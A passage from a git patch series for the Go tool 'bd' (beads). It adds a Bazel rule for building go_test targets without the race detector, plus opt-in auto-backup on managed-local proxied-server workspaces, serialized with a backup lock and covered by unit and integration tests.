= not (no_target or missing or extra or skip_div or failures or no_xml or allow_errors) limit = None if args.details else 40 @@ -353,6 +417,8 @@ def main(argv=None): ("tests go test runs that Bazel did not", missing), ("tests Bazel ran that go test would not", extra), ("tests go test passed that Bazel skipped", skip_div), + ("tests that failed in a Bazel target", failures), + ("Bazel targets without test.xml", no_xml), ): if pairs: lines += listing(title, pairs) diff --git a/tools/bazel/race.bzl b/tools/bazel/race.bzl new file mode 100644 index 000000000..570efcb3d --- /dev/null +++ b/tools/bazel/race.bzl @@ -0,0 +1,55 @@ +"""go_test_race_off: an existing go_test built without the race detector. + +The docker lane (--config=docker) sets --@rules_go//go/config:race for every +target, because pr.yml's container jobs run `go test -race`, except the +Contract corpus job, which does not. A go_test_variant.sh sh_test over this +rule's output runs such a package the way that job does, without a second +go_test rule (whose srcs gazelle would not maintain). The go_test keeps its own +`race = "auto"` and so follows the setting this transition gives it. +""" + +_RACE = "@rules_go//go/config:race" + +# rules_go's go_transition (go_binary/go_test with race = "off", e.g. +# //cmd/bd:bd_for_tests) records the setting it overrides in this private +# flag. Recording it the same way puts the test's deps in the configuration +# bd_for_tests already builds them in, instead of a second non-race copy of +# the whole graph. +_ORIGINAL_RACE = "@rules_go//go/private/rules:original_race" + +def _race_off_impl(settings, _attr): + out = {_RACE: False, _ORIGINAL_RACE: settings[_ORIGINAL_RACE]} + if settings[_RACE] and not settings[_ORIGINAL_RACE]: + out[_ORIGINAL_RACE] = json.encode(True) + return out + +_race_off = transition( + implementation = _race_off_impl, + inputs = [_RACE, _ORIGINAL_RACE], + outputs = [_RACE, _ORIGINAL_RACE], +) + +def _go_test_race_off_impl(ctx): + target = ctx.attr.test[0] + src = target[DefaultInfo].files_to_run.executable + out = ctx.actions.declare_file(ctx.label.name) + ctx.actions.symlink(output = out, target_file = src, is_executable = True) + runfiles = ctx.runfiles(files = [out]).merge(target[DefaultInfo].default_runfiles) + return [DefaultInfo(files = depset([out]), runfiles = runfiles, executable = out)] + +_go_test_race_off = rule( + implementation = _go_test_race_off_impl, + doc = "The executable of `test`, built with --@rules_go//go/config:race=false.", + attrs = { + "test": attr.label( + cfg = _race_off, + executable = True, + mandatory = True, + ), + }, + executable = True, +) + +def go_test_race_off(name, test, **kwargs): + """Declares `name`, the executable of go_test `test` built without race.""" + _go_test_race_off(name = name, test = test, testonly = True, **kwargs) From 4e4ebdb443eefef1e6456e8b57bc69d5df7d85f2 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 28 Sep 2026 02:45:58 -0700 Subject: [PATCH 172/624] feat(backup): proxied auto-backup on managed-local, serialized with bd backup sync (#6879) * feat(backup): run opted-in auto-backup on a managed-local proxied server #6584 routed the five `bd backup` verbs over the proxied provider on managed-local, and #6694 made `bd backup status` admit the remaining gap: the proxied arm of PersistentPostRunE never called runPostRunAutoBackup, so backup.enabled=true was inert on every proxied workspace. Close it. The proxied arm now calls the auto-backup hook before it closes the provider, under the direct arm's maintenance gate (strict --readonly, `bd serve`, a migration freeze) plus previews. maybeAutoBackup picks a backend for the command: the direct store as before, or the proxied provider's RunNonTx seam, which `bd backup sync` already uses. The proxied backend is honored exactly where `bd backup sync` is: the "backup sync" capability row's rule for this workspace's topology, so managed-local only. Auto-backup registers a server-side backup remote, which on a server bd does not own is global to every client; an implicit trigger must not get further than the explicit verb. It never opens a provider of its own: a command that opened none (`bd dolt stop`) or closed it (restore) backs nothing up rather than relaunching the server. The default stays OFF, as on every server-mode workspace. The register/sync-to-a-local-dir sequence that DoltStore and EmbeddedDoltStore each carried a copy of moves to versioncontrolops.BackupToDir (and HEAD lookup to CurrentCommit), so the proxied backend reuses it instead of adding a third copy. Tests: TestManagedLocalProxiedAutoBackup (default off, opt-in writes a restorable backup, change detection, `bd dolt stop` stays quiescent, restore round trip with issue-set equality; fails against origin/main); TestManagedLocalProxiedBackupRestoreRefusedWhileAttached pins the restore design (refused while another bd client holds the workspace, serving child untouched, succeeds once it detaches); unit tests for the backend locality gate, the post-run wiring, the status note and BackupToDir. Both managed-local tests, and the existing round trip, are added to the proxied-local smoke lane's compiled-in list. Co-Authored-By: Claude Opus 5.5 * fix(backup): serialize auto-backup and bd backup sync with a workspace backup lock Review follow-up on #6879. Auto-backup and an explicit bd backup sync both run under the command's SHARED workspace gate, so nothing stopped them overlapping, and auto-backup's remove -> add -> sync on one fixed remote name races a concurrent copy of itself. A per-workspace flock (.beads/backup.lock, already gitignored by *.lock) now serializes them in every mode. Auto-backup takes it non-blocking and skips when held (the throttle is left alone, so a later command retries). bd backup sync waits up to exclusiveGateWait - the bound restore's exclusive gate acquisition uses - then fails with "another backup is running for this workspace" before touching the store. Restore needs no part in it: its exclusive workspace gate already excludes every command that could hold the lock. Tests: lock semantics (refusal while held, bounded wait, release), auto-backup skipping while held and running once released, and sync failing loudly without reaching the store. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5.5 --- .github/workflows/proxied-local-smoke.yml | 5 + CHANGELOG.md | 21 ++ cmd/bd/BUILD.bazel | 4 + cmd/bd/backup.go | 8 +- cmd/bd/backup_auto.go | 74 ++++-- ...kup_auto_proxied_local_integration_test.go | 240 ++++++++++++++++++ cmd/bd/backup_auto_proxied_test.go | 142 +++++++++++ cmd/bd/backup_auto_test.go | 22 +- cmd/bd/backup_dolt.go | 16 +- cmd/bd/backup_export.go | 39 ++- cmd/bd/backup_export_failure_test.go | 5 +- cmd/bd/backup_lock.go | 71 ++++++ cmd/bd/backup_lock_test.go | 133 ++++++++++ cmd/bd/backup_proxied_server.go | 71 +++++- cmd/bd/main.go | 9 + internal/storage/dolt/store.go | 34 +-- internal/storage/dolt/versioned.go | 7 +- .../storage/embeddeddolt/version_control.go | 33 +-- internal/storage/versioncontrolops/backup.go | 55 ++++ .../storage/versioncontrolops/backup_test.go | 29 +++ 20 files changed, 891 insertions(+), 127 deletions(-) create mode 100644 cmd/bd/backup_auto_proxied_local_integration_test.go create mode 100644 cmd/bd/backup_auto_proxied_test.go create mode 100644 cmd/bd/backup_lock.go create mode 100644 cmd/bd/backup_lock_test.go diff --git a/.github/workflows/proxied-local-smoke.yml b/.github/workflows/proxied-local-smoke.yml index d8d92221e..55967a0f2 100644 --- a/.github/workflows/proxied-local-smoke.yml +++ b/.github/workflows/proxied-local-smoke.yml @@ -23,6 +23,7 @@ on: - 'cmd/bd/proxied_server*.go' - 'cmd/bd/dolt*.go' - 'cmd/bd/*_proxied_server.go' + - 'cmd/bd/backup*.go' - 'cmd/bd/purge*.go' - 'cmd/bd/*managed_local*' - 'cmd/bd/proxied_outage_reconnect_integration_test.go' @@ -50,6 +51,7 @@ on: - 'cmd/bd/proxied_server*.go' - 'cmd/bd/dolt*.go' - 'cmd/bd/*_proxied_server.go' + - 'cmd/bd/backup*.go' - 'cmd/bd/purge*.go' - 'cmd/bd/*managed_local*' - 'cmd/bd/proxied_outage_reconnect_integration_test.go' @@ -128,6 +130,9 @@ jobs: TestManagedLocalProxiedDoltStartRefusesWithProxyDown \ TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone \ TestManagedLocalProxiedTrackerUOWConformance \ + TestManagedLocalProxiedBackupRoundTrip \ + TestManagedLocalProxiedAutoBackup \ + TestManagedLocalProxiedBackupRestoreRefusedWhileAttached \ TestManagedLocalProxiedPurgeWispsPlaneRetention do if ! grep -qx "$test_name" <<<"$listed"; then diff --git a/CHANGELOG.md b/CHANGELOG.md index 88af367f2..aa60eaf32 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -190,6 +190,27 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- **Auto-backup runs on a managed-local proxied-server workspace.** The + proxied arm of the post-command hook now calls auto-backup, so an explicit + `backup.enabled=true` (or `BD_BACKUP_ENABLED=1`) takes the same throttled, + change-detected Dolt-native backup into `.beads/backup` it takes in direct + mode, through the proxied provider's non-transactional seam. Before this the + opt-in was inert on every proxied workspace and `bd backup status` said so. + The default stays OFF, as on every server-mode workspace: many bd clients + share one server. It is honored exactly where `bd backup sync` is — a + proxied server bd started itself — and stays inert on an external or + team-server topology, strict `--readonly`, `bd serve`, a preview + (`--dry-run`/`--inspect`) and a migration freeze. A command that opened no + provider (e.g. `bd dolt stop`) backs nothing up rather than relaunching the + server to do so. `bd backup status` now reports the proxied default as + `auto: off in proxied-server mode; set backup.enabled=true to opt in`. + +- **Auto-backup and `bd backup sync` no longer overlap.** A per-workspace + backup lock (`.beads/backup.lock`) serializes them in every mode: + auto-backup skips when another backup holds it, and `bd backup sync` waits + up to 5 seconds (the bound restore uses for the workspace gate) and then + fails with "another backup is running for this workspace". + - **`bd purge` covers an orchestrator's wisp retention sweep.** Three changes that together let `bd purge --wisps-plane --older-than 168h --force` replace a raw `DELETE FROM wisps` retention step: diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 177e87af0..fb0b556f9 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -14,6 +14,7 @@ go_library( "backup_auto.go", "backup_dolt.go", "backup_export.go", + "backup_lock.go", "backup_proxied_server.go", "backup_restore.go", "batch.go", @@ -492,10 +493,13 @@ go_test( "auto_import_upgrade_unit_test.go", "autocommit_embedded_test.go", "backend_registry_contract_test.go", + "backup_auto_proxied_local_integration_test.go", + "backup_auto_proxied_test.go", "backup_auto_test.go", "backup_dolt_test.go", "backup_embedded_test.go", "backup_export_failure_test.go", + "backup_lock_test.go", "backup_proxied_external_integration_test.go", "backup_proxied_local_integration_test.go", "backup_proxied_policy_test.go", diff --git a/cmd/bd/backup.go b/cmd/bd/backup.go index 270536bcf..0e8e02fcc 100644 --- a/cmd/bd/backup.go +++ b/cmd/bd/backup.go @@ -42,10 +42,10 @@ Auto-backup default: coordinate destinations). 'bd config get backup.enabled' shows the effective value and its source. - On a proxied-server workspace that opt-in does not apply: auto-backup has - no post-command hook on that path, so backup.enabled=true is inert there. - The five backup verbs above are honored on a managed-local proxied server — - run 'bd backup sync' explicitly to back one up.`, + A proxied-server workspace is server mode too: auto-backup is OFF by + default and backup.enabled=true opts in. Both the opt-in and the five + backup verbs above are honored only on a managed-local proxied server — + one bd started itself; on a Dolt server bd does not own they are refused.`, GroupID: "sync", } diff --git a/cmd/bd/backup_auto.go b/cmd/bd/backup_auto.go index 8974439e2..988c0dcfb 100644 --- a/cmd/bd/backup_auto.go +++ b/cmd/bd/backup_auto.go @@ -2,6 +2,7 @@ package main import ( "context" + "errors" "fmt" "os" "strings" @@ -46,28 +47,21 @@ func isBackupAutoEnabled() bool { // already computed so the note cannot disagree with the number beside // it — and so status does not re-run the git-remote probe. // -// The note narrates the reason the decision actually used. Proxied-server -// is checked first and ignores the config source, because on that topology -// auto-backup cannot run at all whatever backup.enabled says: the proxied -// arm of PersistentPostRunE never calls runPostRunAutoBackup (main.go), so -// an explicit backup.enabled=true is inert and reporting a bare -// "enabled=true" would send the operator away believing backups happen. -// The five backup verbs are honored on managed-local (the only proxied -// shape that reaches this line — every other one is refused by -// requireLocalProxiedBackup), so `bd backup sync` is the real answer there. -// -// Every other sql-server shape keeps its post-run hook, so there the -// default is merely off — the reason `bd config get backup.enabled` -// already reports for the same condition. Before this arm existed, status -// attributed that OFF to a missing git remote, which is untrue: server -// mode short-circuits isBackupAutoEnabled whether or not a remote exists. +// The note narrates the reason the decision actually used. An explicit +// backup.enabled needs no note: the source explains it, and every shape +// that reaches `bd backup status` honors it — including a managed-local +// proxied server, whose post-run arm runs auto-backup (every other proxied +// shape is refused by requireLocalProxiedBackup before status renders). +// A server-mode default is OFF whether or not a git remote exists, so it +// must not be attributed to the remote; before these arms existed, status +// did exactly that. func backupAutoStatusNote(enabled bool) string { - if usesProxiedServer() { - return "auto-backup does not run on proxied-server; use 'bd backup sync'" - } if config.GetValueSource("backup.enabled") != config.SourceDefault { return "" } + if usesProxiedServer() { + return "auto: off in proxied-server mode; set backup.enabled=true to opt in" + } if usesSQLServer() { return "auto: off in sql-server mode" } @@ -125,6 +119,21 @@ func clientServerShareFilesystem() bool { // bd sessions don't need a chatty repeat on every command. var autoBackupSkipNoticeOnce sync.Once +// autoBackupBackendForCommand returns the storage this command's auto-backup +// runs against, or ok=false when there is nothing it may back up. +func autoBackupBackendForCommand() (localBackupBackend, bool) { + if usesProxiedServer() { + return proxiedAutoBackupBackend() + } + if store == nil { + return nil, false + } + if lm, ok := storage.UnwrapStore(store).(storage.LifecycleManager); ok && lm.IsClosed() { + return nil, false + } + return directLocalBackup{store: store}, true +} + // maybeAutoBackup runs a Dolt-native backup if enabled and the throttle interval has passed. // Called from PersistentPostRun after auto-commit. func maybeAutoBackup(ctx context.Context) { @@ -139,10 +148,8 @@ func maybeAutoBackup(ctx context.Context) { if !isBackupAutoEnabled() { return } - if store == nil { - return - } - if lm, ok := storage.UnwrapStore(store).(storage.LifecycleManager); ok && lm.IsClosed() { + backend, ok := autoBackupBackendForCommand() + if !ok { return } @@ -152,7 +159,11 @@ func maybeAutoBackup(ctx context.Context) { // constructs is meaningless to the server — register fails on // every command. Skip cleanly with a one-time INFO so operators // know auto-backup is silent on purpose. - if !clientServerShareFilesystem() { + // + // Proxied workspaces do not consult the host: proxiedAutoBackupBackend + // has already required managed-local, where bd spawned the server on + // this filesystem itself. + if !usesProxiedServer() && !clientServerShareFilesystem() { autoBackupSkipNoticeOnce.Do(func() { if !isQuiet() && !jsonOutput { fmt.Fprintln(os.Stderr, @@ -190,7 +201,7 @@ func maybeAutoBackup(ctx context.Context) { } // Change detection: skip if nothing changed - currentCommit, err := store.GetCurrentCommit(ctx) + currentCommit, err := backend.CurrentCommit(ctx) if err != nil { fmt.Fprintf(os.Stderr, "Warning: auto-backup skipped: failed to get current commit: %v\n", err) return @@ -200,8 +211,21 @@ func maybeAutoBackup(ctx context.Context) { return } + // One backup at a time per workspace (backup_lock.go). Auto-backup never + // waits: a held lock means a backup is already running. + release, err := acquireBackupLock(0) + if err != nil { + if errors.Is(err, errBackupBusy) { + debug.Logf("backup: skipping — another backup is running\n") + return + } + fmt.Fprintf(os.Stderr, "Warning: auto-backup skipped: %v\n", err) + return + } + defer release() + // Run the backup (force=true since we already checked change detection above) - if _, err := runBackupExport(ctx, true); err != nil { + if _, err := runBackupExport(ctx, backend, true); err != nil { if !isQuiet() && !jsonOutput { fmt.Fprintf(os.Stderr, "Warning: auto-backup failed: %v\n", err) } diff --git a/cmd/bd/backup_auto_proxied_local_integration_test.go b/cmd/bd/backup_auto_proxied_local_integration_test.go new file mode 100644 index 000000000..c87f5389e --- /dev/null +++ b/cmd/bd/backup_auto_proxied_local_integration_test.go @@ -0,0 +1,240 @@ +//go:build cgo && unix + +package main + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "slices" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" + "github.com/steveyegge/beads/internal/storage/dbproxy/server" + "github.com/steveyegge/beads/internal/workspacegate" +) + +// autoBackupOptIn is the explicit opt-in a server-mode workspace needs, with +// the throttle collapsed so every command in a test is due. +var autoBackupOptIn = []string{"BD_BACKUP_ENABLED=true", "BD_BACKUP_INTERVAL=1ms"} + +// TestManagedLocalProxiedAutoBackup is the claim this slice makes: on a +// managed-local proxied workspace, an explicit backup.enabled=true makes the +// post-command hook take a Dolt-native backup into .beads/backup, exactly as +// it does in direct mode — and that backup restores. +// +// Like the explicit-verb round trip next door, the proof is a restore, not an +// exit code: an auto-backup that wrote a manifest nobody can restore from would +// pass every other assertion here. +// +// Named TestManagedLocalProxied* so the proxied-local smoke lane runs it. +func TestManagedLocalProxiedAutoBackup(t *testing.T) { + requireManagedLocalProxiedEnv(t) + + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "bkauto", 5*time.Minute) + autoDir := filepath.Join(p.beadsDir, "backup") + manifest := filepath.Join(autoDir, "manifest") + + // Server mode defaults auto-backup OFF: many clients share one server. + // Nothing may be written without the opt-in. + bdProxiedCreate(t, bd, p.dir, "no opt-in, no backup", "-p", "2") + if _, err := os.Stat(manifest); err == nil { + t.Fatalf("auto-backup ran without an opt-in: %s exists", manifest) + } + + // With the opt-in, one ordinary write is enough. + created := proxiedAutoBackupCreate(t, bd, p, "captured by auto-backup") + if _, err := os.Stat(manifest); err != nil { + t.Fatalf("opted-in auto-backup produced no manifest at %s: %v", manifest, err) + } + state := readProxiedAutoBackupState(t, bd, p) + if state.LastDoltCommit == "" || state.Timestamp.IsZero() { + t.Fatalf("auto-backup did not record its watermark: %+v", state) + } + wantIDs := proxiedIssueIDs(t, bd, p) + if !slices.Contains(wantIDs, created) { + t.Fatalf("precondition: %s missing from %v", created, wantIDs) + } + + // A read-only command with nothing new to capture must not advance the + // watermark: change detection runs before the backup, as in direct mode. + if _, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, autoBackupOptIn, "list", "--json"); err != nil { + t.Fatalf("bd list with auto-backup opted in: %v\n%s", err, stderr) + } + if again := readProxiedAutoBackupState(t, bd, p); again.LastDoltCommit != state.LastDoltCommit { + t.Fatalf("auto-backup advanced with no new commit: %q -> %q", state.LastDoltCommit, again.LastDoltCommit) + } + + // `bd dolt stop` opens no provider, so its post-run hook has nothing to + // back up — and must not relaunch the server it just stopped to find out. + if _, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, autoBackupOptIn, "dolt", "stop"); err != nil { + t.Fatalf("bd dolt stop: %v\n%s", err, stderr) + } + assertManagedProxiedQuiescent(t, p, "bd dolt stop with auto-backup opted in") + + // Diverge from the backup, then restore it and compare. + after := bdProxiedCreate(t, bd, p.dir, "created after the auto-backup", "-p", "2") + out, err := bdProxiedRun(t, bd, p.dir, "backup", "restore", autoDir, "--force", "--json") + if err != nil { + t.Fatalf("bd backup restore %s --force: %v\n%s", autoDir, err, out) + } + gotIDs := proxiedIssueIDs(t, bd, p) + if slices.Contains(gotIDs, after.ID) { + t.Fatalf("restore kept %s, created after the auto-backup; got %v", after.ID, gotIDs) + } + if !slices.Equal(gotIDs, wantIDs) { + t.Fatalf("restored issues differ from the auto-backed-up set:\n got %v\n want %v", gotIDs, wantIDs) + } +} + +// TestManagedLocalProxiedBackupRestoreRefusedWhileAttached pins the restore +// design choice: restore REPLACES the database, so it refuses while any other +// bd command is attached to the workspace, and in that case touches nothing — +// the serving child keeps running and the data stays as it was. +// +// "Attached" is what another bd process holds for its lifetime: a SHARED +// workspace gate. The test holds exactly that, in-process, rather than racing +// a second process into position. +func TestManagedLocalProxiedBackupRestoreRefusedWhileAttached(t *testing.T) { + requireManagedLocalProxiedEnv(t) + + bd := buildEmbeddedBD(t) + p := bdManagedLocalInit(t, bd, "bkatt", 5*time.Minute) + + bdProxiedCreate(t, bd, p.dir, "in the backup", "-p", "1") + dest := filepath.Join(t.TempDir(), "dolt-backup") + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "init", dest); err != nil { + t.Fatalf("bd backup init: %v\n%s", err, out) + } + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "sync"); err != nil { + t.Fatalf("bd backup sync: %v\n%s", err, out) + } + after := bdProxiedCreate(t, bd, p.dir, "not in the backup", "-p", "1") + before := proxiedIssueIDs(t, bd, p) + + proxyPID := readManagedProxyPidFile(t, p) + backendPID := readManagedBackendPidFile(t, p) + if proxyPID == nil || backendPID == nil { + t.Fatal("precondition: the managed topology should be serving") + } + + gates, err := buildWorkspaceGateSet(p.beadsDir) + if err != nil { + t.Fatalf("resolve workspace gates: %v", err) + } + held, err := workspacegate.AcquireAll(context.Background(), workspacegate.Shared, + workspacegate.Options{Reason: "test: attached bd client"}, gates...) + if err != nil { + t.Fatalf("hold the workspace gate: %v", err) + } + released := false + release := func() { + if !released { + released = true + if err := held.Release(); err != nil { + t.Errorf("release workspace gate: %v", err) + } + } + } + t.Cleanup(release) + + stdout, _, err := bdProxiedRunBuffers(t, bd, p.dir, "backup", "restore", dest, "--force", "--json") + if err == nil { + t.Fatalf("bd backup restore succeeded while another bd client was attached:\n%s", stdout) + } + var refusal struct { + Error string `json:"error"` + } + if jerr := json.Unmarshal([]byte(stdout[strings.Index(stdout, "{"):]), &refusal); jerr != nil { + t.Fatalf("restore refusal is not JSON on stdout: %v\n%s", jerr, stdout) + } + if !strings.Contains(refusal.Error, "other bd commands are using this workspace") { + t.Fatalf("restore refusal does not say why: %q", refusal.Error) + } + + // Refused means untouched: the serving topology is the same processes. + if pf := readManagedProxyPidFile(t, p); pf == nil || pf.Pid != proxyPID.Pid || !processAlive(pf.Pid) { + t.Fatalf("refused restore disturbed the proxy: before %+v, now %+v", proxyPID, pf) + } + if pf := readManagedBackendPidFile(t, p); pf == nil || pf.Pid != backendPID.Pid || !processAlive(pf.Pid) { + t.Fatalf("refused restore disturbed the dolt child: before %+v, now %+v", backendPID, pf) + } + + release() + if got := proxiedIssueIDs(t, bd, p); !slices.Equal(got, before) || !slices.Contains(got, after.ID) { + t.Fatalf("refused restore changed the data:\n got %v\n want %v", got, before) + } + + // Once the other client detaches, the same restore goes through. + if out, err := bdProxiedRun(t, bd, p.dir, "backup", "restore", dest, "--force", "--json"); err != nil { + t.Fatalf("bd backup restore after the client detached: %v\n%s", err, out) + } + if slices.Contains(proxiedIssueIDs(t, bd, p), after.ID) { + t.Fatalf("restore after detach did not replace the database: %s is still here", after.ID) + } +} + +// proxiedAutoBackupCreate creates an issue with auto-backup opted in and +// returns its ID. +func proxiedAutoBackupCreate(t *testing.T, bd string, p proxiedProject, title string) string { + t.Helper() + stdout, stderr, err := bdProxiedRunBuffersWithEnv(t, bd, p.dir, autoBackupOptIn, "create", title, "-p", "2", "--silent") + if err != nil { + t.Fatalf("bd create with auto-backup opted in: %v\n%s", err, stderr) + } + if strings.Contains(stderr, "auto-backup") { + t.Fatalf("auto-backup reported a problem:\n%s", stderr) + } + id := strings.TrimSpace(stdout) + if id == "" { + t.Fatalf("bd create --silent printed no ID; stderr:\n%s", stderr) + } + return id +} + +// readProxiedAutoBackupState reads the auto-backup watermark through +// `bd backup status --json`, the surface an operator uses. +func readProxiedAutoBackupState(t *testing.T, bd string, p proxiedProject) backupState { + t.Helper() + out, err := bdProxiedRun(t, bd, p.dir, "backup", "status", "--json") + if err != nil { + t.Fatalf("bd backup status --json: %v\n%s", err, out) + } + start := strings.Index(string(out), "{") + if start < 0 { + t.Fatalf("bd backup status --json produced no JSON:\n%s", out) + } + var status struct { + Backup backupState `json:"backup"` + } + if err := json.Unmarshal(out[start:], &status); err != nil { + t.Fatalf("parse backup status JSON: %v\n%s", err, out) + } + return status.Backup +} + +// proxiedIssueIDs lists every issue ID in the workspace, sorted. +func proxiedIssueIDs(t *testing.T, bd string, p proxiedProject) []string { + t.Helper() + var ids []string + for _, issue := range bdProxiedListJSON(t, bd, p, "--all") { + ids = append(ids, issue.ID) + } + slices.Sort(ids) + return ids +} + +// assertManagedProxiedQuiescent fails when either managed-local pidfile is +// present, i.e. something relaunched the topology. +func assertManagedProxiedQuiescent(t *testing.T, p proxiedProject, after string) { + t.Helper() + for _, name := range []string{proxy.PIDFileName, server.PIDFileName} { + if _, err := os.Stat(filepath.Join(p.proxyRoot, name)); err == nil { + t.Fatalf("after %s, %s is present: the topology was relaunched", after, name) + } + } +} diff --git a/cmd/bd/backup_auto_proxied_test.go b/cmd/bd/backup_auto_proxied_test.go new file mode 100644 index 000000000..87c9ffc11 --- /dev/null +++ b/cmd/bd/backup_auto_proxied_test.go @@ -0,0 +1,142 @@ +package main + +import ( + "context" + "database/sql" + "os" + "testing" + + "github.com/spf13/cobra" + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage/uow" +) + +// fakeMaintenanceProvider is a proxied provider stand-in exposing the +// non-transactional seam proxied auto-backup runs on. It never opens a +// connection; the tests here only assert whether it would be used. +type fakeMaintenanceProvider struct { + uow.UnitOfWorkProvider + runs int +} + +func (f *fakeMaintenanceProvider) RunNonTx(context.Context, func(context.Context, *sql.Conn) error) error { + f.runs++ + return nil +} + +func (f *fakeMaintenanceProvider) Close(context.Context) error { return nil } + +// TestProxiedAutoBackupBackendFollowsLocality pins where auto-backup may run on +// a proxied workspace: exactly where `bd backup sync` is honored. Auto-backup +// registers a server-side backup remote, which on a server bd does not own is +// global to every client of it — the storm the explicit verbs refuse by design +// — so an implicit trigger must not get further than the explicit one. An +// unreadable sidecar resolves to the unknown topology and fails closed. +// +// Cannot be parallel: mutates the proxiedServerMode and uowProvider globals. +func TestProxiedAutoBackupBackendFollowsLocality(t *testing.T) { + for _, tc := range []struct { + name string + sidecar string + noProvider bool + wantBackend bool + }{ + {name: "managed-local with an open provider", sidecar: `{}`, wantBackend: true}, + {name: "managed-local with no provider open", sidecar: `{}`, noProvider: true}, + {name: "external tcp", sidecar: `{"external":{"host":"db.example.com","port":3306}}`}, + {name: "external unix socket", sidecar: `{"external":{"socket":"/tmp/dolt.sock"}}`}, + {name: "unreadable sidecar", sidecar: `{not json`}, + } { + t.Run(tc.name, func(t *testing.T) { + beadsDir := prepareBackupStatusTest(t) + proxiedServerMode = true + if err := os.WriteFile(configfile.ProxiedServerClientInfoPath(beadsDir), []byte(tc.sidecar), 0o600); err != nil { + t.Fatalf("write proxied sidecar: %v", err) + } + + oldProvider := uowProvider + t.Cleanup(func() { uowProvider = oldProvider }) + fake := &fakeMaintenanceProvider{} + uowProvider = fake + if tc.noProvider { + uowProvider = nil + } + + backend, ok := autoBackupBackendForCommand() + if ok != tc.wantBackend { + t.Fatalf("autoBackupBackendForCommand() ok = %v, want %v", ok, tc.wantBackend) + } + if !ok { + return + } + if _, isProxied := backend.(proxiedLocalBackup); !isProxied { + t.Fatalf("backend = %T, want proxiedLocalBackup", backend) + } + if fake.runs != 0 { + t.Fatalf("resolving the backend ran %d maintenance call(s); it must not touch the server", fake.runs) + } + }) + } +} + +// TestPersistentPostRunProxiedRunsAutoBackup pins the wiring: the proxied arm +// of PersistentPostRunE calls the auto-backup hook, under the same gate the +// direct arm's maintenance net uses, plus previews. +// +// Before this hook existed the proxied arm only pruned the journal and closed +// the provider, so backup.enabled=true was inert on every proxied workspace. +// +// Cannot be parallel: mutates PersistentPostRunE's package globals. +func TestPersistentPostRunProxiedRunsAutoBackup(t *testing.T) { + for _, tc := range []struct { + name string + cmd func() *cobra.Command + readonly bool + want int + }{ + {name: "ordinary command", cmd: func() *cobra.Command { return &cobra.Command{Use: "list"} }, want: 1}, + {name: "strict readonly", cmd: func() *cobra.Command { return &cobra.Command{Use: "list"} }, readonly: true}, + {name: "bd serve", cmd: func() *cobra.Command { return &cobra.Command{Use: serveCmdName} }}, + {name: "preview", cmd: func() *cobra.Command { + c := &cobra.Command{Use: "list"} + c.Flags().Bool("dry-run", false, "") + if err := c.Flags().Set("dry-run", "true"); err != nil { + t.Fatalf("set --dry-run: %v", err) + } + return c + }}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + + oldStore, oldProvider := store, uowProvider + oldReadonly, oldProxied := readonlyMode, proxiedServerMode + oldRootCtx, oldRootCancel := rootCtx, rootCancel + oldSpan, oldProfile, oldTrace := commandSpan, profileFile, traceFile + oldBackup := runPostRunAutoBackup + t.Cleanup(func() { + store, uowProvider = oldStore, oldProvider + readonlyMode, proxiedServerMode = oldReadonly, oldProxied + rootCtx, rootCancel = oldRootCtx, oldRootCancel + commandSpan, profileFile, traceFile = oldSpan, oldProfile, oldTrace + runPostRunAutoBackup = oldBackup + }) + + calls := 0 + runPostRunAutoBackup = func(context.Context) { calls++ } + store, uowProvider = nil, nil + readonlyMode = tc.readonly + proxiedServerMode = true + rootCtx, rootCancel = context.Background(), nil + commandSpan, profileFile, traceFile = nil, nil, nil + + if err := rootCmd.PersistentPostRunE(tc.cmd(), nil); err != nil { + t.Fatalf("PersistentPostRunE: %v", err) + } + if calls != tc.want { + t.Fatalf("auto-backup hook calls = %d, want %d", calls, tc.want) + } + }) + } +} diff --git a/cmd/bd/backup_auto_test.go b/cmd/bd/backup_auto_test.go index 5e64195db..f2a10803b 100644 --- a/cmd/bd/backup_auto_test.go +++ b/cmd/bd/backup_auto_test.go @@ -133,9 +133,9 @@ func TestIsBackupAutoEnabled(t *testing.T) { // status` reachable on a proxied server for the first time, where it rendered // the embedded-mode footnote "(auto: no git remote)". On any sql-server shape // the value is false because usesSQLServer() short-circuits, whether or not a -// remote exists, so that reason was simply untrue; and on proxied specifically -// even an explicit backup.enabled=true changes nothing, because the proxied -// arm of PersistentPostRunE never calls runPostRunAutoBackup. +// remote exists, so that reason was simply untrue. Since the proxied post-run +// arm gained its auto-backup hook, an explicit opt-in on proxied is honored +// and needs no caveat. // // Cannot be parallel: mutates the proxiedServerMode global, primeHasGitRemote // and env vars. @@ -191,23 +191,25 @@ func TestBackupAutoStatusNote(t *testing.T) { wantNote: "", }, { - name: "proxied default → names the missing hook, not the remote", + // Proxied is server mode: the default is off whether or not a + // remote exists, and the note names the opt-in that now works. + name: "proxied default → off, names the opt-in, not the remote", envVal: "\x00", hasRemote: true, proxied: true, wantEnabled: false, - wantNote: "auto-backup does not run on proxied-server; use 'bd backup sync'", + wantNote: "auto: off in proxied-server mode; set backup.enabled=true to opt in", }, { - // The dead opt-in: enabled=true with nothing to run it. The note - // must survive an explicit source here, or status reports a bare - // "enabled=true" and the operator believes backups are happening. - name: "proxied explicit opt-in → still inert, still annotated", + // The proxied post-run arm runs auto-backup on managed-local (the + // only proxied shape status renders on), so an explicit opt-in is + // real there and needs no caveat. + name: "proxied explicit opt-in → honored, no note", envVal: "true", hasRemote: false, proxied: true, wantEnabled: true, - wantNote: "auto-backup does not run on proxied-server; use 'bd backup sync'", + 